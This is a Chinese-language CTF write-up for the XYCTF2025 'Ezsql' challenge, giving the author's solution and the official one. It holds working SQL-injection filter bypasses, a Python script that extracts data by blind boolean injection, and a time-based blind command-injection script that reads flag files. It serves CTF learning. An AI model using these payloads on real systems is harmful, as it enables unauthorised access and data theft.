XYCTF2025_wp_Ezsql
wp
此次XYCTF只做出了Ezsql,下面是做题详解。
打开容器,是一个用户登录界面。

尝试登录,发现过滤了
union,逗号,like,空格,*,(等等)
发现or,=没有过滤,空格可用tap过滤。然后
username=1' or 1=1#
password=2
登录成功。

尝试了爆破,但没有成功。根据回显,尝试爆破数据库,表名,字段值,字段内容。
这里因为substr(string,1,1)不能使用,
但可用substr(string from 1 for 1)替换。
下面是代码
import requests
url = "http://eci-2ze0xqtavmuaw3ezu43f.cloudeci1.ichunqiu.com/"
y = 0
flag=''
while(1):
y=y+1
for a in range(32, 127):
#payload = f"ascii(substr(database()\x09from\x093\x09for\x091))={a}#"
#payload = f"ascii(substr((select\x09table_name\x09from\x09information_schema.tables\x09where\x09table_schema='testdb'\x09limit\x091)\x09from\x09{y}\x09for\x091))={a}#"
payload = f"ascii(substr((select\x09secret\x09from\x09double_check\x09limit\x091)from\x09{y}\x09for\x091))={a}#"
#payload = f"ascii(substr((select\x09group_concat(column_name)\x09from\x09information_schema.columns\x09where\x09table_name='double_check'\x09limit\x091)from\x09{y}\x09for\x091))={a}#"
data = {
"username": f"0'\x09or\x09{payload}",
"password": "2"
}
response = requests.post(url=url, data=data)
if "帐号或密码错误" not in response.text:
print(f"成功!当前ASCII值: {a}")
print(chr(a))
print(response.text)
flag=flag+chr(a)
print(flag)
这里,我爆破出secret后,直接使用
username=1' or 1=1#
password=2
登录。接下来是rce无回显:

使用
cat$IFS$9/flag.txt>test.txt
将flag带出来。

官方wp
直接看第二步:

然后使⽤awk和cut -c来遍历前⾯命令执⾏的结果(例如ls、ls /、cat flag等)
import requests
import time#from urllib.parse import quote as urlen
headers = {"Cookie" : "PHPSESSID=9fd91f4205994488a0a0206773351c2a"}
#需要根据具体值修改
char="1234567890_.qwertyuiopasdfghjklzxcvbnmQAZWSXEDCRFVTGBYHNUJMIK{}OLP"
flag = ""
url='http://eci-2zeh8osjvo07qwj9jvqn.cloudeci1.ichunqiu.com/index.php'
for x in range(1,10):
flag+='---'
for i in range(1,30):
for j in char:
payload = "if [ `cat /fla* | awk 'NR=={}' | cut -c{}` = {}];then sleep 0.5;fi".format(x,i,j)
#延迟根据实际⽹络情况修改
data={"command":payload}
start_time = time.time()
response=requests.post(url=url,headers=headers,data=data)
end_time = time.time()
if end_time-start_time>0.5:
flag+=j
print(flag)

浙公网安备 33010602011771号